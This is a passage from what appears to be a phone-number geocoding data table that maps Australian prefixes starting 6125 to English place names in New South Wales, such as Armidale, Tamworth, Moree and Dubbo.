'612574417':{'en': 'Drake'},
'612574418':{'en': 'Ebor'},
'612574419':{'en': 'Elcombe'},
'612574420':{'en': 'Emmaville'},
'612574421':{'en': 'Frazers Creek'},
'612574422':{'en': 'Garah'},
'612574423':{'en': 'Glen Elgin'},
'612574424':{'en': 'Glen Innes'},
'612574425':{'en': 'Glencoe'},
'612574426':{'en': 'Goolhi'},
'612574427':{'en': 'Graman'},
'612574428':{'en': 'Gundabloui'},
'612574429':{'en': 'Gunnedah'},
'612574430':{'en': 'Gunyerwarildi'},
'612574431':{'en': 'Gurley'},
'612574432':{'en': 'Guyra'},
'612574433':{'en': 'Halls Creek'},
'612574434':{'en': 'Ingleba'},
'612574435':{'en': 'Inverell'},
'612574436':{'en': 'Kelvin'},
'612574437':{'en': 'Kingstown'},
'612574438':{'en': 'Limbri'},
'612574439':{'en': 'Manilla'},
'612574440':{'en': 'Marple'},
'612574441':{'en': 'Mirriadool'},
'612574442':{'en': 'Moona Plains'},
'612574443':{'en': 'Moree'},
'612574444':{'en': 'Mullaley'},
'612574445':{'en': 'Mungindi'},
'612574446':{'en': 'Narrabri'},
'612574447':{'en': 'Nowendoc'},
'612574448':{'en': 'Nullamanna'},
'612574449':{'en': 'Nundle'},
'612574450':{'en': 'Oakey Creek'},
'612574451':{'en': 'Oban'},
'612574452':{'en': 'Ogunbil'},
'612574453':{'en': 'Pallamallawa'},
'612574454':{'en': 'Pilliga'},
'612574455':{'en': 'Pine Ridge'},
'612574456':{'en': 'Pinkett'},
'612574457':{'en': 'Plumthorpe'},
'612574458':{'en': 'Quirindi'},
'612574459':{'en': 'Rocky Creek'},
'612574460':{'en': 'Rowena'},
'612574461':{'en': 'Sandy Flat'},
'612574462':{'en': 'Somerton'},
'612574463':{'en': 'Spring Plains'},
'612574464':{'en': 'Tambar Springs'},
'612574465':{'en': 'Tamworth'},
'612574466':{'en': 'Tenterden'},
'612574467':{'en': 'Tenterfield'},
'612574468':{'en': 'Tingha'},
'612574469':{'en': 'Upper Horton'},
'612574470':{'en': 'Uralla'},
'612574471':{'en': 'Walcha'},
'612574472':{'en': 'Walcha Road'},
'612574473':{'en': 'Warialda'},
'612574474':{'en': 'Wee Waa'},
'612574475':{'en': 'Weemelah'},
'612574476':{'en': 'Wellingrove'},
'612574477':{'en': 'Wenna'},
'612574478':{'en': 'Willow Tree'},
'612574479':{'en': 'Wollomombi'},
'612574480':{'en': 'Yarrie Lake'},
'612574481':{'en': 'Yarrowitch'},
'612574482':{'en': 'Bellata'},
'612574483':{'en': 'Ben Lomond'},
'612574484':{'en': 'Bendemeer'},
'612574485':{'en': 'Bingara'},
'612574486':{'en': 'Boggabri'},
'612574487':{'en': 'Bohena'},
'612574488':{'en': 'Boomi'},
'612574489':{'en': 'Boorolong'},
'61257449':{'en': 'Barraba'},
'61257450':{'en': 'Armidale'},
'61257451':{'en': 'Armidale'},
'61257452':{'en': 'Armidale'},
'61257453':{'en': 'Frazers Creek'},
'61257454':{'en': 'Frazers Creek'},
'61257455':{'en': 'Frazers Creek'},
'61257456':{'en': 'Quirindi'},
'612574570':{'en': 'Breeza'},
'612574571':{'en': 'Bundarra'},
'612574572':{'en': 'Bundella'},
'612574573':{'en': 'Bunnor'},
'612574574':{'en': 'Burren Junction'},
'612574575':{'en': 'Careunga'},
'612574576':{'en': 'Caroda'},
'612574577':{'en': 'Collarenebri'},
'612574578':{'en': 'Coolatai'},
'612574579':{'en': 'Copeton Dam'},
'612574580':{'en': 'Craigleigh'},
'612574581':{'en': 'Croppa Creek'},
'612574582':{'en': 'Curlewis'},
'612574583':{'en': 'Currabubula'},
'612574584':{'en': 'Cuttabri'},
'612574585':{'en': 'Deepwater'},
'612574586':{'en': 'Delungra'},
'612574587':{'en': 'Drake'},
'612574588':{'en': 'Ebor'},
'612574589':{'en': 'Elcombe'},
'612574590':{'en': 'Emmaville'},
'612574591':{'en': 'Frazers Creek'},
'612574592':{'en': 'Garah'},
'612574593':{'en': 'Glen Elgin'},
'612574594':{'en': 'Glen Innes'},
'612574595':{'en': 'Glencoe'},
'612574596':{'en': 'Goolhi'},
'612574597':{'en': 'Graman'},
'612574598':{'en': 'Gundabloui'},
'612574599':{'en': 'Gunnedah'},
'612574600':{'en': 'Gunyerwarildi'},
'612574601':{'en': 'Gurley'},
'612574602':{'en': 'Guyra'},
'612574603':{'en': 'Halls Creek'},
'612574604':{'en': 'Ingleba'},
'612574605':{'en': 'Inverell'},
'612574606':{'en': 'Kelvin'},
'612574607':{'en': 'Kingstown'},
'612574608':{'en': 'Limbri'},
'612574609':{'en': 'Manilla'},
'612574610':{'en': 'Marple'},
'612574611':{'en': 'Mirriadool'},
'612574612':{'en': 'Moona Plains'},
'612574613':{'en': 'Moree'},
'612574614':{'en': 'Mullaley'},
'612574615':{'en': 'Mungindi'},
'612574616':{'en': 'Narrabri'},
'612574617':{'en': 'Nowendoc'},
'612574618':{'en': 'Nullamanna'},
'612574619':{'en': 'Nundle'},
'612574620':{'en': 'Oakey Creek'},
'612574621':{'en': 'Oban'},
'612574622':{'en': 'Ogunbil'},
'612574623':{'en': 'Pallamallawa'},
'612574624':{'en': 'Pilliga'},
'612574625':{'en': 'Pine Ridge'},
'612574626':{'en': 'Pinkett'},
'612574627':{'en': 'Plumthorpe'},
'612574628':{'en': 'Quirindi'},
'612574629':{'en': 'Rocky Creek'},
'612574630':{'en': 'Rowena'},
'612574631':{'en': 'Sandy Flat'},
'612574632':{'en': 'Somerton'},
'612574633':{'en': 'Spring Plains'},
'612574634':{'en': 'Tambar Springs'},
'612574635':{'en': 'Tamworth'},
'612574636':{'en': 'Tenterden'},
'612574637':{'en': 'Tenterfield'},
'612574638':{'en': 'Tingha'},
'612574639':{'en': 'Upper Horton'},
'612574640':{'en': 'Uralla'},
'612574641':{'en': 'Walcha'},
'612574642':{'en': 'Walcha Road'},
'612574643':{'en': 'Warialda'},
'612574644':{'en': 'Wee Waa'},
'612574645':{'en': 'Weemelah'},
'612574646':{'en': 'Wellingrove'},
'612574647':{'en': 'Wenna'},
'612574648':{'en': 'Willow Tree'},
'612574649':{'en': 'Wollomombi'},
'612574650':{'en': 'Yarrie Lake'},
'612574651':{'en': 'Yarrowitch'},
'612574652':{'en': 'Aberfoyle'},
'612574653':{'en': 'Armidale'},
'612574654':{'en': 'Baan Baa'},
'612574655':{'en': 'Banoon'},
'612574656':{'en': 'Barraba'},
'612574657':{'en': 'Barwick'},
'612574658':{'en': 'Bellata'},
'612574659':{'en': 'Ben Lomond'},
'612574660':{'en': 'Bendemeer'},
'612574661':{'en': 'Bingara'},
'612574662':{'en': 'Boggabri'},
'612574663':{'en': 'Bohena'},
'612574664':{'en': 'Boomi'},
'612574665':{'en': 'Boorolong'},
'612574666':{'en': 'Breeza'},
'612574667':{'en': 'Bundarra'},
'612574668':{'en': 'Bundella'},
'612574669':{'en': 'Bunnor'},
'612574670':{'en': 'Burren Junction'},
'612574671':{'en': 'Careunga'},
'612574672':{'en': 'Caroda'},
'612574673':{'en': 'Collarenebri'},
'612574674':{'en': 'Coolatai'},
'612574675':{'en': 'Copeton Dam'},
'612574676':{'en': 'Craigleigh'},
'612574677':{'en': 'Croppa Creek'},
'612574678':{'en': 'Curlewis'},
'612574679':{'en': 'Currabubula'},
'612574680':{'en': 'Cuttabri'},
'612574681':{'en': 'Deepwater'},
'612574682':{'en': 'Delungra'},
'612574683':{'en': 'Drake'},
'612574684':{'en': 'Ebor'},
'612574685':{'en': 'Elcombe'},
'612574686':{'en': 'Emmaville'},
'612574687':{'en': 'Frazers Creek'},
'612574688':{'en': 'Garah'},
'612574689':{'en': 'Glen Elgin'},
'612574690':{'en': 'Glen Innes'},
'612574691':{'en': 'Glencoe'},
'612574692':{'en': 'Goolhi'},
'612574693':{'en': 'Graman'},
'612574694':{'en': 'Gundabloui'},
'612574695':{'en': 'Gunnedah'},
'612574696':{'en': 'Gunyerwarildi'},
'612574697':{'en': 'Gurley'},
'612574698':{'en': 'Guyra'},
'612574699':{'en': 'Halls Creek'},
'612574700':{'en': 'Ingleba'},
'612574701':{'en': 'Inverell'},
'612574702':{'en': 'Kelvin'},
'612574703':{'en': 'Kingstown'},
'612574704':{'en': 'Limbri'},
'612574705':{'en': 'Manilla'},
'612574706':{'en': 'Marple'},
'612574707':{'en': 'Mirriadool'},
'612574708':{'en': 'Moona Plains'},
'612574709':{'en': 'Moree'},
'612574710':{'en': 'Mullaley'},
'612574711':{'en': 'Mungindi'},
'612574712':{'en': 'Narrabri'},
'612574713':{'en': 'Nowendoc'},
'612574714':{'en': 'Nullamanna'},
'612574715':{'en': 'Nundle'},
'612574716':{'en': 'Oakey Creek'},
'612574717':{'en': 'Oban'},
'612574718':{'en': 'Ogunbil'},
'612574719':{'en': 'Pallamallawa'},
'612574720':{'en': 'Pilliga'},
'612574721':{'en': 'Pine Ridge'},
'612574722':{'en': 'Pinkett'},
'612574723':{'en': 'Plumthorpe'},
'612574724':{'en': 'Quirindi'},
'612574725':{'en': 'Rocky Creek'},
'612574726':{'en': 'Rowena'},
'612574727':{'en': 'Sandy Flat'},
'612574728':{'en': 'Somerton'},
'612574729':{'en': 'Spring Plains'},
'612574730':{'en': 'Tambar Springs'},
'612574731':{'en': 'Tamworth'},
'612574732':{'en': 'Tenterden'},
'612574733':{'en': 'Tenterfield'},
'612574734':{'en': 'Tingha'},
'612574735':{'en': 'Upper Horton'},
'612574736':{'en': 'Uralla'},
'612574737':{'en': 'Walcha'},
'612574738':{'en': 'Walcha Road'},
'612574739':{'en': 'Warialda'},
'612574740':{'en': 'Wee Waa'},
'612574741':{'en': 'Weemelah'},
'612574742':{'en': 'Wellingrove'},
'612574743':{'en': 'Wenna'},
'612574744':{'en': 'Willow Tree'},
'612574745':{'en': 'Wollomombi'},
'612574746':{'en': 'Yarrie Lake'},
'612574747':{'en': 'Yarrowitch'},
'612574748':{'en': 'Aberfoyle'},
'612574749':{'en': 'Armidale'},
'612574750':{'en': 'Baan Baa'},
'612574751':{'en': 'Banoon'},
'612574752':{'en': 'Barraba'},
'612574753':{'en': 'Barwick'},
'612574754':{'en': 'Bellata'},
'612574755':{'en': 'Ben Lomond'},
'612574756':{'en': 'Bendemeer'},
'612574757':{'en': 'Bingara'},
'612574758':{'en': 'Boggabri'},
'612574759':{'en': 'Bohena'},
'612574760':{'en': 'Boomi'},
'612574761':{'en': 'Boorolong'},
'612574762':{'en': 'Breeza'},
'612574763':{'en': 'Bundarra'},
'612574764':{'en': 'Bundella'},
'612574765':{'en': 'Bunnor'},
'612574766':{'en': 'Burren Junction'},
'612574767':{'en': 'Careunga'},
'612574768':{'en': 'Caroda'},
'612574769':{'en': 'Collarenebri'},
'612574770':{'en': 'Coolatai'},
'612574771':{'en': 'Copeton Dam'},
'612574772':{'en': 'Craigleigh'},
'612574773':{'en': 'Croppa Creek'},
'612574774':{'en': 'Curlewis'},
'612574775':{'en': 'Currabubula'},
'612574776':{'en': 'Cuttabri'},
'612574777':{'en': 'Deepwater'},
'612574778':{'en': 'Delungra'},
'612574779':{'en': 'Drake'},
'612574780':{'en': 'Ebor'},
'612574781':{'en': 'Elcombe'},
'612574782':{'en': 'Emmaville'},
'612574783':{'en': 'Frazers Creek'},
'612574784':{'en': 'Garah'},
'612574785':{'en': 'Glen Elgin'},
'612574786':{'en': 'Glen Innes'},
'612574787':{'en': 'Glencoe'},
'612574788':{'en': 'Goolhi'},
'612574789':{'en': 'Graman'},
'612574790':{'en': 'Gundabloui'},
'612574791':{'en': 'Gunnedah'},
'612574792':{'en': 'Gunyerwarildi'},
'612574793':{'en': 'Gurley'},
'612574794':{'en': 'Guyra'},
'612574795':{'en': 'Halls Creek'},
'612574796':{'en': 'Ingleba'},
'612574797':{'en': 'Inverell'},
'612574798':{'en': 'Kelvin'},
'612574799':{'en': 'Kingstown'},
'612574800':{'en': 'Limbri'},
'612574801':{'en': 'Manilla'},
'612574802':{'en': 'Marple'},
'612574803':{'en': 'Mirriadool'},
'612574804':{'en': 'Moona Plains'},
'612574805':{'en': 'Moree'},
'612574806':{'en': 'Mullaley'},
'612574807':{'en': 'Mungindi'},
'612574808':{'en': 'Narrabri'},
'612574809':{'en': 'Nowendoc'},
'612574810':{'en': 'Nullamanna'},
'612574811':{'en': 'Nundle'},
'612574812':{'en': 'Oakey Creek'},
'612574813':{'en': 'Oban'},
'612574814':{'en': 'Ogunbil'},
'612574815':{'en': 'Pallamallawa'},
'612574816':{'en': 'Pilliga'},
'612574817':{'en': 'Pine Ridge'},
'612574818':{'en': 'Pinkett'},
'612574819':{'en': 'Plumthorpe'},
'612574820':{'en': 'Quirindi'},
'612574821':{'en': 'Rocky Creek'},
'612574822':{'en': 'Rowena'},
'612574823':{'en': 'Sandy Flat'},
'612574824':{'en': 'Somerton'},
'612574825':{'en': 'Spring Plains'},
'612574826':{'en': 'Tambar Springs'},
'612574827':{'en': 'Tamworth'},
'612574828':{'en': 'Tenterden'},
'612574829':{'en': 'Tenterfield'},
'612574830':{'en': 'Tingha'},
'612574831':{'en': 'Upper Horton'},
'612574832':{'en': 'Uralla'},
'612574833':{'en': 'Walcha'},
'612574834':{'en': 'Walcha Road'},
'612574835':{'en': 'Warialda'},
'612574836':{'en': 'Wee Waa'},
'612574837':{'en': 'Weemelah'},
'612574838':{'en': 'Wellingrove'},
'612574839':{'en': 'Wenna'},
'612574840':{'en': 'Willow Tree'},
'612574841':{'en': 'Wollomombi'},
'612574842':{'en': 'Yarrie Lake'},
'612574843':{'en': 'Yarrowitch'},
'612574844':{'en': 'Aberfoyle'},
'612574845':{'en': 'Armidale'},
'612574846':{'en': 'Baan Baa'},
'612574847':{'en': 'Banoon'},
'612574848':{'en': 'Barraba'},
'612574849':{'en': 'Barwick'},
'612574900':{'en': 'Bellata'},
'612574901':{'en': 'Ben Lomond'},
'612574902':{'en': 'Bendemeer'},
'612574903':{'en': 'Bingara'},
'612574904':{'en': 'Boggabri'},
'612574905':{'en': 'Bohena'},
'612574906':{'en': 'Boomi'},
'612574907':{'en': 'Boorolong'},
'612574908':{'en': 'Breeza'},
'612574909':{'en': 'Bundarra'},
'612574910':{'en': 'Bundella'},
'612574911':{'en': 'Bunnor'},
'612574912':{'en': 'Burren Junction'},
'612574913':{'en': 'Careunga'},
'612574914':{'en': 'Caroda'},
'612574915':{'en': 'Collarenebri'},
'612574916':{'en': 'Coolatai'},
'612574917':{'en': 'Copeton Dam'},
'612574918':{'en': 'Craigleigh'},
'612574919':{'en': 'Croppa Creek'},
'612574920':{'en': 'Curlewis'},
'612574921':{'en': 'Currabubula'},
'612574922':{'en': 'Cuttabri'},
'612574923':{'en': 'Deepwater'},
'612574924':{'en': 'Delungra'},
'612574925':{'en': 'Drake'},
'612574926':{'en': 'Ebor'},
'612574927':{'en': 'Elcombe'},
'612574928':{'en': 'Emmaville'},
'612574929':{'en': 'Frazers Creek'},
'612574930':{'en': 'Garah'},
'612574931':{'en': 'Glen Elgin'},
'612574932':{'en': 'Glen Innes'},
'612574933':{'en': 'Glencoe'},
'612574934':{'en': 'Goolhi'},
'612574935':{'en': 'Graman'},
'612574936':{'en': 'Gundabloui'},
'612574937':{'en': 'Gunnedah'},
'612574938':{'en': 'Gunyerwarildi'},
'612574939':{'en': 'Gurley'},
'612574940':{'en': 'Guyra'},
'612574941':{'en': 'Halls Creek'},
'612574942':{'en': 'Ingleba'},
'612574943':{'en': 'Inverell'},
'612574944':{'en': 'Kelvin'},
'612574945':{'en': 'Kingstown'},
'612574946':{'en': 'Limbri'},
'612574947':{'en': 'Manilla'},
'612574948':{'en': 'Marple'},
'612574949':{'en': 'Mirriadool'},
'612574950':{'en': 'Moona Plains'},
'612574951':{'en': 'Moree'},
'612574952':{'en': 'Mullaley'},
'612574953':{'en': 'Mungindi'},
'612574954':{'en': 'Narrabri'},
'612574955':{'en': 'Nowendoc'},
'612574956':{'en': 'Nullamanna'},
'612574957':{'en': 'Nundle'},
'612574958':{'en': 'Oakey Creek'},
'612574959':{'en': 'Oban'},
'612574960':{'en': 'Ogunbil'},
'612574961':{'en': 'Pallamallawa'},
'612574962':{'en': 'Pilliga'},
'612574963':{'en': 'Pine Ridge'},
'612574964':{'en': 'Pinkett'},
'612574965':{'en': 'Plumthorpe'},
'612574966':{'en': 'Quirindi'},
'612574967':{'en': 'Rocky Creek'},
'612574968':{'en': 'Rowena'},
'612574969':{'en': 'Sandy Flat'},
'612574970':{'en': 'Somerton'},
'612574971':{'en': 'Spring Plains'},
'612574972':{'en': 'Tambar Springs'},
'612574973':{'en': 'Tamworth'},
'612574974':{'en': 'Tenterden'},
'612574975':{'en': 'Tenterfield'},
'612574976':{'en': 'Tingha'},
'612574977':{'en': 'Upper Horton'},
'612574978':{'en': 'Uralla'},
'612574979':{'en': 'Walcha'},
'612574980':{'en': 'Walcha Road'},
'612574981':{'en': 'Warialda'},
'612574982':{'en': 'Wee Waa'},
'612574983':{'en': 'Weemelah'},
'612574984':{'en': 'Wellingrove'},
'612574985':{'en': 'Wenna'},
'612574986':{'en': 'Willow Tree'},
'612574987':{'en': 'Wollomombi'},
'612574988':{'en': 'Yarrie Lake'},
'612574989':{'en': 'Yarrowitch'},
'61257499':{'en': 'Wee Waa'},
'61257509':{'en': 'Boomi'},
'61257520':{'en': 'Caroda'},
'61257539':{'en': 'Glen Innes'},
'61257550':{'en': 'Gurley'},
'61257569':{'en': 'Tenterfield'},
'61257580':{'en': 'Warialda'},
'61257748':{'en': 'Tamworth'},
'61257749':{'en': 'Tamworth'},
'61257750':{'en': 'Wollomombi'},
'61257751':{'en': 'Aberfoyle'},
'61257752':{'en': 'Ingleba'},
'61257753':{'en': 'Kingstown'},
'61257754':{'en': 'Yarrowitch'},
'61257755':{'en': 'Tenterden'},
'61257756':{'en': 'Marple'},
'61257757':{'en': 'Nowendoc'},
'61257758':{'en': 'Armidale'},
'61257759':{'en': 'Armidale'},
'6125776':{'en': 'Tamworth'},
'61257760':{'en': 'Armidale'},
'61257762':{'en': 'Armidale'},
'61257763':{'en': 'Armidale'},
'61257764':{'en': 'Armidale'},
'61257770':{'en': 'Tamworth'},
'61257771':{'en': 'Tamworth'},
'61257772':{'en': 'Tamworth'},
'61257773':{'en': 'Armidale'},
'61257774':{'en': 'Armidale'},
'61257775':{'en': 'Narrabri'},
'61257776':{'en': 'Manilla'},
'61257777':{'en': 'Armidale'},
'61257778':{'en': 'Quirindi'},
'61257779':{'en': 'Tamworth'},
'61257793':{'en': 'Tamworth'},
'61257944':{'en': 'Baan Baa'},
'61257945':{'en': 'Baan Baa'},
'61257946':{'en': 'Boggabri'},
'61257947':{'en': 'Tamworth'},
'61257948':{'en': 'Tamworth'},
'61257949':{'en': 'Moree'},
'61257950':{'en': 'Mungindi'},
'61257951':{'en': 'Armidale'},
'61257952':{'en': 'Ingleba'},
'61257953':{'en': 'Ingleba'},
'61257954':{'en': 'Ingleba'},
'61258000':{'en': 'Neilrex'},
'61258001':{'en': 'Purlewaugh'},
'61258002':{'en': 'Rocky Glen'},
'61258003':{'en': 'Tooraweenah'},
'61258004':{'en': 'Trangie'},
'61258005':{'en': 'Tyrie'},
'61258006':{'en': 'Warren'},
'61258007':{'en': 'Weetaliba'},
'61258008':{'en': 'Wyanga'},
'61258009':{'en': 'Yarragrin'},
'61258010':{'en': 'Bedgerebong'},
'61258011':{'en': 'Eugowra'},
'61258012':{'en': 'Forbes'},
'61258013':{'en': 'Weelong'},
'61258014':{'en': 'Wirrinya'},
'61258015':{'en': 'Berkley Downs'},
'61258016':{'en': 'Bonnay'},
'61258017':{'en': 'Boorooma'},
'61258018':{'en': 'Borah Tank'},
'61258019':{'en': 'Cumborah'},
'61258020':{'en': 'Goodooga'},
'61258021':{'en': 'Grawin'},
'61258022':{'en': 'Lightning Ridge'},
'61258023':{'en': 'Walgett'},
'61258024':{'en': 'Colane'},
'61258025':{'en': 'Coolabah'},
'61258026':{'en': 'Girilambone'},
'61258027':{'en': 'Hermidale'},
'61258028':{'en': 'Mount Foster'},
'61258029':{'en': 'Mullengudgery'},
'61258030':{'en': 'Nyngan'},
'61258031':{'en': 'Widgeland'},
'61258032':{'en': 'Alectown'},
'61258033':{'en': 'Bindogundra'},
'61258034':{'en': 'Bogan Gate'},
'61258035':{'en': 'Bruie Plains'},
'61258036':{'en': 'Mandagery'},
'61258037':{'en': 'Mungery'},
'61258038':{'en': 'Parkes'},
'61258039':{'en': 'Peak Hill'},
'61258040':{'en': 'Yarrabandai'},
'61258041':{'en': 'Gollan'},
'61258042':{'en': 'Stuart Town'},
'61258043':{'en': 'Wellington'},
'61258044':{'en': 'Yeoval'},
'61258045':{'en': 'Dubbo'},
'61258046':{'en': 'Dubbo'},
'61258047':{'en': 'Dubbo'},
'61258048':{'en': 'Gilgandra'},
'61258049':{'en': 'Parkes'},
'6125805':{'en': 'Dubbo'},
'61258060':{'en': 'Dubbo'},
'61258061':{'en': 'Airlands'},
'61258062':{'en': 'Airlands'},
'61258063':{'en': 'Balladoran'},
'61258064':{'en': 'Balladoran'},
'61258065':{'en': 'Coonabarabran'},
'61258066':{'en': 'Coonabarabran'},
'61258067':{'en': 'Dubbo'},
'61258068':{'en': 'Dubbo'},
'61258069':{'en': 'Geurie'},
'61258070':{'en': 'Geurie'},
'61258071':{'en': 'Wellington'},
'61258072':{'en': 'Wellington'},
'61258073':{'en': 'Goorianawa'},
'61258074':{'en': 'Goorianawa'},
'61258075':{'en': 'Narromine'},
'61258076':{'en': 'Narromine'},
'61258077':{'en': 'Rocky Glen'},
'61258078':{'en': 'Rocky Glen'},
'61258079':{'en': 'Tooraweenah'},
'61258080':{'en': 'Tooraweenah'},
'61258081':{'en': 'Trangie'},
'61258082':{'en': 'Trangie'},
'61258083':{'en': 'Warrumbungle'},
'61258084':{'en': 'Warrumbungle'},
'61258085':{'en': 'Naradhan'},
'61258086':{'en': 'Naradhan'},
'61258087':{'en': 'Walgett'},
'61258088':{'en': 'Walgett'},
'61258089':{'en': 'Parkes'},
'61258090':{'en': 'Parkes'},
'61258091':{'en': 'Nyngan'},
'61258092':{'en': 'Nyngan'},
'61258093':{'en': 'Bindogundra'},
'61258094':{'en': 'Bindogundra'},
'61258095':{'en': 'Peak Hill'},
'61258096':{'en': 'Peak Hill'},
'61258097':{'en': 'Dubbo'},
'61258098':{'en': 'Dubbo'},
'61258099':{'en': 'Dubbo'},
'61258100':{'en': 'Dandaloo'},
'61258101':{'en': 'Dandaloo'},
'61258102':{'en': 'Collie'},
'61258103':{'en': 'Collie'},
'61258104':{'en': 'Wyanga'},
'61258105':{'en': 'Wyanga'},
'61258106':{'en': 'Yarragrin'},
'61258107':{'en': 'Yarragrin'},
'61258108':{'en': 'Ballimore'},
'61258109':{'en': 'Ballimore'},
'61258110':{'en': 'Baradine'},
'61258111':{'en': 'Baradine'},
'61258112':{'en': 'Binnaway'},
'61258113':{'en': 'Binnaway'},
'61258114':{'en': 'Curban'},
'61258115':{'en': 'Curban'},
'61258116':{'en': 'Farrendale'},
'61258117':{'en': 'Farrendale'},
'61258118':{'en': 'Gilgandra'},
'61258119':{'en': 'Gilgandra'},
'61258120':{'en': 'Gwabegar'},
'61258121':{'en': 'Gwabegar'},
'61258122':{'en': 'Colane'},
'61258123':{'en': 'Colane'},
'61258124':{'en': 'Girilambone'},
'61258125':{'en': 'Girilambone'},
'61258126':{'en': 'Coalbaggie'},
'61258127':{'en': 'Coalbaggie'},
'61258128':{'en': 'Hermidale'},
'61258129':{'en': 'Hermidale'},
'61258130':{'en': 'Mullengudgery'},
'61258131':{'en': 'Mullengudgery'},
'61258132':{'en': 'Neilrex'},
'61258133':{'en': 'Neilrex'},
'61258134':{'en': 'Bonnay'},
'61258135':{'en': 'Bonnay'},
'61258136':{'en': 'Cumborah'},
'61258137':{'en': 'Cumborah'},
'61258138':{'en': 'Grawin'},
'61258139':{'en': 'Grawin'},
'61258140':{'en': 'Purlewaugh'},
'61258141':{'en': 'Purlewaugh'},
'61258142':{'en': 'Weetaliba'},
'61258143':{'en': 'Weetaliba'},
'61258144':{'en': 'Barrier'},
'61258145':{'en': 'Barrier'},
'61258146':{'en': 'Warrington'},
'61258147':{'en': 'Warrington'},
'61258148':{'en': 'Forbes'},
'61258149':{'en': 'Forbes'},
'61258150':{'en': 'Double Peaks'},
'61258151':{'en': 'Double Peaks'},
'61258152':{'en': 'Fairholme'},
'61258153':{'en': 'Fairholme'},
'61258154':{'en': 'Coonamble'},
'61258155':{'en': 'Coonamble'},
'61258156':{'en': 'Wirrinya'},
'61258157':{'en': 'Wirrinya'},
'61258158':{'en': 'Dubbo'},
'61258159':{'en': 'Barrier'},
'61258160':{'en': 'Alectown'},
'61258161':{'en': 'Alectown'},
'61258162':{'en': 'Mandagery'},
'61258163':{'en': 'Mandagery'},
'61258164':{'en': 'Cuttaburra'},
'61258165':{'en': 'Dubbo'},
'61258166':{'en': 'Dubbo'},
'61258167':{'en': 'Parkes'},
'61258168':{'en': 'Airlands'},
'61258169':{'en': 'Dubbo'},
'61258170':{'en': 'Yeoval'},
'61258171':{'en': 'Yeoval'},
'61258172':{'en': 'Mungery'},
'61258173':{'en': 'Mungery'},
'61258174':{'en': 'Bogan Gate'},
'61258175':{'en': 'Bogan Gate'},
'61258176':{'en': 'Yarrabandai'},
'61258177':{'en': 'Yarrabandai'},
'61258178':{'en': 'Widgeland'},
'61258179':{'en': 'Widgeland'},
'61258180':{'en': 'Weelong'},
'61258181':{'en': 'Weelong'},
'61258182':{'en': 'Kiacatoo'},
'61258183':{'en': 'Kiacatoo'},
'61258184':{'en': 'Dubbo'},
'61258185':{'en': 'Dubbo'},
'61258186':{'en': 'Eugowra'},
'61258187':{'en': 'Eugowra'},
'61258188':{'en': 'Cuttaburra'},
'61258189':{'en': 'Cuttaburra'},
'61258190':{'en': 'Bedgerebong'},
'61258191':{'en': 'Bedgerebong'},
'61258192':{'en': 'Warren'},
'61258193':{'en': 'Warren'},
'61258194':{'en': 'Lightning Ridge'},
'61258195':{'en': 'Lightning Ridge'},
'61258196':{'en': 'Goodooga'},
'61258197':{'en': 'Goodooga'},
'61258198':{'en': 'Borah Tank'},
'61258199':{'en': 'Borah Tank'},
'61258200':{'en': 'Dubbo'},
'61258201':{'en': 'Dubbo'},
'61258202':{'en': 'Mount Foster'},
'61258203':{'en': 'Mount Foster'},
'61258204':{'en': 'Barrier'},
'61258205':{'en': 'Bourke'},
'61258206':{'en': 'Mendooran'},
'61258207':{'en': 'Mendooran'},
'61258208':{'en': 'Mount Herring'},
'61258209':{'en': 'Mount Herring'},
'61258210':{'en': 'Bruie Plains'},
'61258211':{'en': 'Bruie Plains'},
'61258212':{'en': 'Gollan'},
'61258213':{'en': 'Gollan'},
'61258214':{'en': 'Banar'},
'61258215':{'en': 'Banar'},
'61258216':{'en': 'Condobolin'},
'61258217':{'en': 'Condobolin'},
'61258218':{'en': 'Coonamble'},
'61258219':{'en': 'Narran'},
'61258220':{'en': 'Trundle'},
'61258221':{'en': 'Trundle'},
'61258222':{'en': 'Tullamore'},
'61258223':{'en': 'Tullamore'},
'61258224':{'en': 'Gilgooma'},
'61258225':{'en': 'Gilgooma'},
'61258226':{'en': 'Gulargambone'},
'61258227':{'en': 'Gulargambone'},
'61258228':{'en': 'Magometon'},
'61258229':{'en': 'Magometon'},
'61258230':{'en': 'Quambone'},
'61258231':{'en': 'Quambone'},
'61258232':{'en': 'Teridgerie'},
'61258233':{'en': 'Teridgerie'},
'61258234':{'en': 'Dubbo'},
'61258235':{'en': 'Condobolin'},
'61258236':{'en': 'Coonamble'},
'61258237':{'en': 'Coonabarabran'},
'61258238':{'en': 'Gilgandra'},
'61258239':{'en': 'Narromine'},
'61258240':{'en': 'Forbes'},
'61258241':{'en': 'Lightning Ridge'},
'61258242':{'en': 'Walgett'},
'61258243':{'en': 'Wellington'},
'612582440':{'en': 'Airlands'},
'612582441':{'en': 'Albert'},
'612582442':{'en': 'Alectown'},
'612582443':{'en': 'Balladoran'},
'612582444':{'en': 'Ballimore'},
'612582445':{'en': 'Banar'},
'612582446':{'en': 'Baradine'},
'612582447':{'en': 'Barrier'},
'612582448':{'en': 'Barrinford'},
'612582449':{'en': 'Bedgerebong'},
'612582450':{'en': 'Berkley Downs'},
'612582451':{'en': 'Bindogundra'},
'612582452':{'en': 'Binnaway'},
'612582453':{'en': 'Bobadah'},
'612582454':{'en': 'Bogan Gate'},
'612582455':{'en': 'Bonnay'},
'612582456':{'en': 'Boona Mountain'},
'612582457':{'en': 'Boorooma'},
'612582458':{'en': 'Borah Tank'},
'612582459':{'en': 'Bourke'},
'612582460':{'en': 'Brewarrina'},
'612582461':{'en': 'Bruie Plains'},
'612582462':{'en': 'Buckinguy'},
'612582463':{'en': 'Carinda'},
'612582464':{'en': 'Coalbaggie'},
'612582465':{'en': 'Cobar'},
'612582466':{'en': 'Colane'},
'612582467':{'en': 'Collie'},
'612582468':{'en': 'Condobolin'},
'612582469':{'en': 'Coolabah'},
'612582470':{'en': 'Coonabarabran'},
'612582471':{'en': 'Coonamble'},
'612582472':{'en': 'Cumborah'},
'612582473':{'en': 'Curban'},
'612582474':{'en': 'Cuttaburra'},
'612582475':{'en': 'Dandaloo'},
'612582476':{'en': 'Double Peaks'},
'612582477':{'en': 'Dubbo'},
'612582478':{'en': 'Eugowra'},
'612582479':{'en': 'Fairholme'},
'612582480':{'en': 'Farrendale'},
'612582481':{'en': 'Forbes'},
'612582482':{'en': 'Geurie'},
'612582483':{'en': 'Gilgandra'},
'612582484':{'en': 'Gilgooma'},
'612582485':{'en': 'Ginghet'},
'612582486':{'en': 'Girilambone'},
'612582487':{'en': 'Gollan'},
'612582488':{'en': 'Goodooga'},
'612582489':{'en': 'Goorianawa'},
